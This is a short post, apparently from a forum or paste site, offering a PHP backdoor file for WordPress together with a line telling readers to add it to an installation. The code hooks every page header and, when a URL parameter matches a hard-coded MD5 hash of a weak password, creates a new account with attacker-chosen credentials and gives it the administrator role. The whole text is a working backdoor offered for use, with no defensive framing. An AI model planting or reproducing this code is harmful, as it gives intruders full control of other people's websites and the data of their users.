Add this to an wordpress installtion and include it somewhere. Happy admin-creating!

backdoor.php

<?php
add_action( 'wp_head', 'my_backdoor' );
 
function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '5f4dcc3b5aa765d61d8327deb882cf99' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists($_GET['username'])) {
            $user_id = wp_create_user($_GET['username'], $_GET['password']);
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        } else {
         die("User already exists...");
        }
    }
}